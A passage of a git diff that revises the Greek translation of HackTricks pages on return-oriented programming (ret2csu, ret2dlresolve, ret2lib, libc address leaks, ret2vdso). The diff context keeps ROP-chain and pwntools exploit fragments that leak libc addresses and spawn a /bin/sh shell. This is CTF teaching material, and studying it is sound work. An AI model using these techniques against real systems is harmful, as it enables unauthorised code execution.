https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -165,8 +166,8 @@ payload += ret2win target.sendline(payload) target.interactive() ``` -### Γιατί να μην χρησιμοποιήσετε απευθείας τη libc; +### Γιατί να μην χρησιμοποιήσετε απευθείας το libc; -Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στη libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**. +Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στο libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index b8cdf905b..5ca15ec85 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -4,13 +4,13 @@ ## Basic Information -Όπως εξηγείται στη σελίδα για το [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και το [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**. +Όπως εξηγείται στη σελίδα σχετικά με [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**. Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να **επιλύσει** το καθορισμένο σύμβολο. -Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** ώστε η δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**). +Επομένως, είναι δυνατόν να **ψευδίσουμε όλες αυτές τις δομές** ώστε η δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσουμε με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**). -Συνήθως, όλες αυτές οι δομές ψευδοποιούνται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδοποιημένες δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`. +Συνήθως, όλες αυτές οι δομές ψευδίζονται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδείς δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`. > [!TIP] > Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/index.html) ή [SROP](srop-sigreturn-oriented-programming/index.html)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc. @@ -21,7 +21,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared {{#endref}} -Ή δείτε αυτές τις σελίδες για μια βήμα-βήμα εξήγηση: +Ή ελέγξτε αυτές τις σελίδες για μια βήμα-βήμα εξήγηση: - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) @@ -29,7 +29,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared ## Attack Summary 1. Γράψτε ψευδείς δομές σε κάποια τοποθεσία -2. Ρυθμίστε το πρώτο επιχείρημα της `system` (`$rdi = &'/bin/sh'`) +2. Ρυθμίστε το πρώτο επιχείρημα του system (`$rdi = &'/bin/sh'`) 3. Ρυθμίστε στη στοίβα τις διευθύνσεις στις δομές για να καλέσετε **`_dl_runtime_resolve`** 4. **Καλέστε** `_dl_runtime_resolve` 5. **`system`** θα επιλυθεί και θα κληθεί με `'/bin/sh'` ως επιχείρημα @@ -56,9 +56,9 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) ``` ## Παράδειγμα -### Καθαρό Pwntools +### Pure Pwntools -Μπορείτε να βρείτε ένα [**παράδειγμα αυτής της τεχνικής εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **που περιέχει μια πολύ καλή εξήγηση της τελικής αλυσίδας ROP**, αλλά εδώ είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε: +You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used: ```python from pwn import * @@ -188,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασική μικρή υπερχείλιση buffer και επιστροφή. Για να το εκμεταλλευτεί, η bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, επιστρέφει στο main και επαναχρησιμοποιεί την αρχική bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`. +- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασικό μικρό buffer overflow και επιστροφή. Για να το εκμεταλλευτεί, το bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, επιστρέφει στο main και επαναχρησιμοποιεί το αρχικό bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index 6d3d305aa..c27e1da6a 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -4,7 +4,7 @@ ## **Βασικές Πληροφορίες** -Η ουσία του **Ret2Libc** είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση μέσα σε μια κοινή βιβλιοθήκη (π.χ., **system**, **execve**, **strcpy**) αντί να εκτελεί τον κώδικα που παρέχεται από τον επιτιθέμενο στο στοίβα. Ο επιτιθέμενος δημιουργεί ένα payload που τροποποιεί τη διεύθυνση επιστροφής στη στοίβα ώστε να δείχνει στη συνάρτηση της βιβλιοθήκης που επιθυμεί, ενώ ταυτόχρονα φροντίζει ώστε οποιαδήποτε απαραίτητα επιχειρήματα να είναι σωστά ρυθμισμένα σύμφωνα με τη σύμβαση κλήσης. +Η ουσία του **Ret2Libc** είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση εντός μιας κοινής βιβλιοθήκης (π.χ., **system**, **execve**, **strcpy**) αντί να εκτελεί τον κώδικα που παρέχεται από τον επιτιθέμενο στο στοίβασμα. Ο επιτιθέμενος δημιουργεί ένα payload που τροποποιεί τη διεύθυνση επιστροφής στο στοίβασμα ώστε να δείχνει στη συνάρτηση της επιθυμητής βιβλιοθήκης, ενώ ταυτόχρονα φροντίζει ώστε οποιαδήποτε απαραίτητα επιχειρήματα να είναι σωστά ρυθμισμένα σύμφωνα με τη σύμβαση κλήσης. ### **Παράδειγμα Βημάτων (απλοποιημένο)** @@ -49,7 +49,8 @@ find "/bin/sh" ## Άγνωστο libc -Είναι πιθανό να **δεν γνωρίζετε το libc που φορτώνει το δυαδικό αρχείο** (γιατί μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να **διαρρεύσετε κάποιες διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc** χρησιμοποιείται: +Είναι πιθανό να **δεν γνωρίζετε ποιο libc φορτώνει το δυαδικό αρχείο** (γιατί μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να **διαρρεύσετε κάποιες διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc** χρησιμοποιείται: + {{#ref}} rop-leaking-libc-address/ @@ -57,6 +58,7 @@ rop-leaking-libc-address/ Και μπορείτε να βρείτε ένα πρότυπο pwntools γι' αυτό στο: + {{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}} @@ -73,7 +75,7 @@ rop-leaking-libc-address/rop-leaking-libc-template.md ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης. +- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής καθυστερήσει 10 δευτερόλεπτα να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης. ## One Gadget @@ -85,7 +87,7 @@ one-gadget.md ## x86 Ret2lib Code Example -Σε αυτό το παράδειγμα, η brute-force ASLR είναι ενσωματωμένη στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή: +Σε αυτό το παράδειγμα, η βίαιη σάρωση ASLR είναι ενσωματωμένη στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή: ```python from pwn import * @@ -105,18 +107,20 @@ c.interactive() Δείτε το παράδειγμα από: + {{#ref}} ../ {{#endref}} ## ARM64 Ret2lib Example -Στην περίπτωση του ARM64, η εντολή ret πηγαίνει εκεί που δείχνει το x30 registry και όχι εκεί που δείχνει το stack registry. Έτσι είναι λίγο πιο περίπλοκο. +Στην περίπτωση του ARM64, η εντολή ret πηγαίνει εκεί που δείχνει το μητρώο x30 και όχι εκεί που δείχνει το μητρώο στοίβας. Έτσι είναι λίγο πιο περίπλοκο. -Επίσης στο ARM64, μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατόν να πηδήξεις στη μέση των εντολών και να τις μετατρέψεις σε νέες). +Επίσης, στο ARM64, μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατόν να πηδήξουμε στη μέση των εντολών και να τις μετατρέψουμε σε νέες). Δείτε το παράδειγμα από: + {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} @@ -127,7 +131,8 @@ ret2lib-+-printf-leak-arm64.md ## Ret2printf -Αυτό σημαίνει βασικά την κακή χρήση ενός **Ret2lib για να το μετατρέψει σε μια ευπάθεια μορφοποίησης συμβολοσειρών `printf`** χρησιμοποιώντας το `ret2lib` για να καλέσει το printf με τις τιμές για να το εκμεταλλευτεί (ακούγεται άχρηστο αλλά είναι δυνατό): +Αυτό σημαίνει βασικά την κατάχρηση ενός **Ret2lib για να το μετατρέψουμε σε μια ευπάθεια μορφοποίησης συμβολοσειρών `printf`** χρησιμοποιώντας το `ret2lib` για να καλέσουμε το printf με τις τιμές για να το εκμεταλλευτούμε (ακούγεται άχρηστο αλλά είναι δυνατό): + {{#ref}} ../../format-strings/ @@ -136,16 +141,16 @@ ret2lib-+-printf-leak-arm64.md ## Other Examples & references - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -- Ret2lib, δεδομένης μιας διαρροής στη διεύθυνση μιας συνάρτησης στη libc, χρησιμοποιώντας ένα gadget +- Ret2lib, που δίνει μια διαρροή στη διεύθυνση μιας συνάρτησης στη libc, χρησιμοποιώντας ένα gadget - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσει μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσει στη συνέχεια το puts και να το διαρρεύσει. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')` +- 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του καναριού για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το καναρί, δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bits, ASLR ενεργοποιημένο, χωρίς canary, stack overflow στο main από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα gadget. +- 64 bits, ενεργοποιημένο ASLR, χωρίς καναρί, υπερχείλιση στοίβας από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα gadget. - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) -- 64 bits, χωρίς pie, χωρίς canary, χωρίς relro, nx. Χρησιμοποιεί τη συνάρτηση write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα gadget. +- 64 bits, χωρίς pie, χωρίς καναρί, χωρίς relro, nx. Χρησιμοποιεί τη συνάρτηση write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα gadget. - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) -- Χρησιμοποιεί μια μορφή συμβολοσειράς για να διαρρεύσει το canary από το stack και μια υπερχείλιση buffer για να καλέσει το system (είναι στο GOT) με τη διεύθυνση του `/bin/sh`. +- Χρησιμοποιεί μια μορφή συμβολοσειράς για να διαρρεύσει το καναρί από τη στοίβα και μια υπερχείλιση buffer για να καλέσει το system (είναι στο GOT) με τη διεύθυνση του `/bin/sh`. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) -- 32 bit, χωρίς relro, χωρίς canary, nx, pie. Κακή ευρετηρίαση για να διαρρεύσει διευθύνσεις της libc και του heap από το stack. Κακή χρήση της υπερχείλισης buffer για να κάνει ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση του heap είναι απαραίτητη για να παρακαμφθεί μια έλεγχο). +- 32 bit, χωρίς relro, χωρίς καναρί, nx, pie. Κατάχρηση κακής ευρετηρίασης για να διαρρεύσουν διευθύνσεις της libc και της heap από τη στοίβα. Κατάχρηση της υπερχείλισης buffer για να κάνετε ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση της heap είναι απαραίτητη για να παρακάμψετε έναν έλεγχο). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 5ba54ad16..ed6129a4b 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -36,6 +36,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie Κατεβάστε το exploit και τοποθετήστε το στον ίδιο φάκελο με το ευάλωτο δυαδικό αρχείο και δώστε τα απαραίτητα δεδομένα στο σενάριο: + {{#ref}} rop-leaking-libc-template.md {{#endref}} @@ -123,26 +124,26 @@ p.interactive() ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` -Αυτό θα στείλει μερικά bytes μέχρι να είναι δυνατή η **επικάλυψη** του **RIP**: `OFFSET`.\ -Στη συνέχεια, θα ρυθμίσει τη **διεύθυνση** του gadget `POP_RDI` έτσι ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στο μητρώο **RDI**. Αυτό συμβαίνει επειδή θέλουμε να **καλέσουμε το puts** **περνώντας** τη **διεύθυνση** του `PUTS_GOT` καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\ +Αυτό θα στείλει μερικά bytes μέχρι να είναι **δυνατό** το **overwriting** του **RIP**: `OFFSET`.\ +Στη συνέχεια, θα ρυθμίσει τη **διεύθυνση** του gadget `POP_RDI` έτσι ώστε η επόμενη διεύθυνση (`FUNC_GOT`) να αποθηκευτεί στο **RDI** registry. Αυτό συμβαίνει επειδή θέλουμε να **καλέσουμε το puts** **περνώντας** τη **διεύθυνση** του `PUTS_GOT` καθώς η διεύθυνση στη μνήμη της συνάρτησης puts αποθηκεύεται στη διεύθυνση που δείχνει το `PUTS_GOT`.\ Μετά από αυτό, θα κληθεί το `PUTS_PLT` (με το `PUTS_GOT` μέσα στο **RDI**) έτσι ώστε το puts να **διαβάσει το περιεχόμενο** μέσα στο `PUTS_GOT` (**η διεύθυνση της συνάρτησης puts στη μνήμη**) και θα **το εκτυπώσει**.\ Τέλος, **η κύρια συνάρτηση καλείται ξανά** ώστε να μπορέσουμε να εκμεταλλευτούμε την υπερχείλιση ξανά. -Με αυτόν τον τρόπο έχουμε **παγιδεύσει τη συνάρτηση puts** να **εκτυπώσει** τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (η οποία είναι μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να **αναζητήσουμε ποια έκδοση libc χρησιμοποιείται**. +Με αυτόν τον τρόπο έχουμε **παγιδεύσει τη συνάρτηση puts** να **εκτυπώσει** τη **διεύθυνση** στη **μνήμη** της συνάρτησης **puts** (η οποία είναι μέσα στη βιβλιοθήκη **libc**). Τώρα που έχουμε αυτή τη διεύθυνση, μπορούμε να **αναζητήσουμε ποια έκδοση της libc χρησιμοποιείται**. ![](<../../../../images/image (1049).png>) -Καθώς **εκμεταλλευόμαστε** κάποιο **τοπικό** δυαδικό, **δεν είναι απαραίτητο** να καταλάβουμε ποια έκδοση της **libc** χρησιμοποιείται (απλώς βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\ +Καθώς **εκμεταλλευόμαστε** κάποιο **τοπικό** δυαδικό, **δεν είναι απαραίτητο** να καταλάβουμε ποια έκδοση της **libc** χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο `/lib/x86_64-linux-gnu/libc.so.6`).\ Αλλά, σε περίπτωση απομακρυσμένης εκμετάλλευσης, θα εξηγήσω εδώ πώς μπορείτε να το βρείτε: -### 3.1- Αναζητώντας την έκδοση libc (1) +### 3.1- Αναζητώντας την έκδοση της libc (1) Μπορείτε να αναζητήσετε ποια βιβλιοθήκη χρησιμοποιείται στη σελίδα: [https://libc.blukat.me/](https://libc.blukat.me)\ Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της **libc** ![](<../../../../images/image (221).png>) -### 3.2- Αναζητώντας την έκδοση libc (2) +### 3.2- Αναζητώντας την έκδοση της libc (2) Μπορείτε επίσης να κάνετε: @@ -154,7 +155,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) Για να λειτουργήσει αυτό, χρειαζόμαστε: - Όνομα συμβόλου libc: `puts` -- Διεύθυνση libc που διαρρέει: `0x7ff629878690` +- Διεύθυνση libc που έχει διαρρεύσει: `0x7ff629878690` Μπορούμε να καταλάβουμε ποια **libc** είναι πιο πιθανό να χρησιμοποιείται. ```bash @@ -195,7 +196,7 @@ if libc != "": libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) ``` -> [!NOTE] +> [!TIP] > Σημειώστε ότι **η τελική διεύθυνση βάσης της libc πρέπει να τελειώνει σε 00**. Αν αυτό δεν ισχύει για εσάς, μπορεί να έχετε διαρρεύσει μια λανθασμένη βιβλιοθήκη. Στη συνέχεια, η διεύθυνση της συνάρτησης `system` και η **διεύθυνση** της συμβολοσειράς _"/bin/sh"_ θα υπολογιστούν από τη **διεύθυνση βάσης** της **libc** και θα δοθούν τη **βιβλιοθήκη libc.** @@ -218,8 +219,8 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` Ας εξηγήσουμε αυτό το τελικό ROP.\ -Το τελευταίο ROP (`rop1`) καλέστηκε ξανά η κύρια συνάρτηση, οπότε μπορούμε να **εκμεταλλευτούμε ξανά** την **υπερχείλιση** (γι' αυτό ο `OFFSET` είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε το `POP_RDI` δείχνοντας στη **διεύθυνση** του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περαστεί ως παράμετρος.\ -Τέλος, η **διεύθυνση της συνάρτησης εξόδου** **καλείται** ώστε η διαδικασία να **τερματίσει ομαλά** και να μην παραχθεί καμία ειδοποίηση. +Το τελευταίο ROP (`rop1`) καλέστηκε ξανά η κύρια συνάρτηση, οπότε μπορούμε να **εκμεταλλευτούμε ξανά** την **υπερχείλιση** (γι' αυτό ο `OFFSET` είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε `POP_RDI` δείχνοντας στη **διεύθυνση** του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περαστεί ως παράμετρος.\ +Τέλος, η **διεύθυνση της συνάρτησης εξόδου** καλείται ώστε η διαδικασία να **τερματίσει ομαλά** και να μην παραχθεί καμία ειδοποίηση. **Με αυτόν τον τρόπο, η εκμετάλλευση θα εκτελέσει ένα _/bin/sh_ shell.** @@ -227,8 +228,8 @@ p.interactive() #Interact with the conenction ## 4(2)- Χρησιμοποιώντας το ONE_GADGET -Μπορείτε επίσης να χρησιμοποιήσετε [**ONE_GADGET** ](https://github.com/david942j/one_gadget) για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε τη **system** και το **"/bin/sh". ONE_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία **διεύθυνση ROP**.\ -Ωστόσο, συνήθως υπάρχουν κάποιες περιορισμοί, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL` Καθώς ελέγχετε τις τιμές μέσα στο **RSP** απλώς πρέπει να στείλετε μερικές ακόμα NULL τιμές ώστε να αποφευχθεί ο περιορισμός. +Μπορείτε επίσης να χρησιμοποιήσετε [**ONE_GADGET** ](https://github.com/david942j/one_gadget) για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε **system** και **"/bin/sh". ONE_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία **διεύθυνση ROP**.\ +Ωστόσο, συνήθως υπάρχουν κάποιους περιορισμοί, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP**, απλώς πρέπει να στείλετε μερικές ακόμη NULL τιμές ώστε να αποφευχθεί ο περιορισμός. ![](<../../../../images/image (754).png>) ```python diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index 8a4de157f..6904b45af 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -52,11 +52,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` > [!CAUTION] -> Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση vdso δεν θα είναι τυχαία: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +> Σημειώστε λοιπόν πώς μπορεί να είναι δυνατό να **παρακαμφθεί το ASLR εκμεταλλευόμενοι το vdso** αν ο πυρήνας έχει μεταγλωττιστεί με το CONFIG_COMPAT_VDSO, καθώς η διεύθυνση του vdso δεν θα είναι τυχαία: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) ### ARM64 -Μετά την εξαγωγή και τον έλεγχο της ενότητας vdso ενός δυαδικού αρχείου στο kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κανένα ενδιαφέρον gadget (κανένας τρόπος να ελέγξω τους καταχωρητές από τις τιμές στη στοίβα ή να ελέγξω το x30 για μια επιστροφή) **εκτός από έναν τρόπο να καλέσω ένα SROP**. Δείτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα: +Μετά την εξαγωγή και τον έλεγχο της ενότητας vdso ενός δυαδικού αρχείου σε kali 2023.2 arm64, δεν μπόρεσα να βρω εκεί κανένα ενδιαφέρον gadget (κανένας τρόπος να ελέγξω τους καταχωρητές από τιμές στη στοίβα ή να ελέγξω το x30 για μια επιστροφή) **εκτός από έναν τρόπο να καλέσω ένα SROP**. Δείτε περισσότερες πληροφορίες στο παράδειγμα από τη σελίδα: + {{#ref}} srop-sigreturn-oriented-programming/srop-arm64.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 771800381..2578bca3e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -13,7 +13,7 @@ - `rsi: 0 specify no 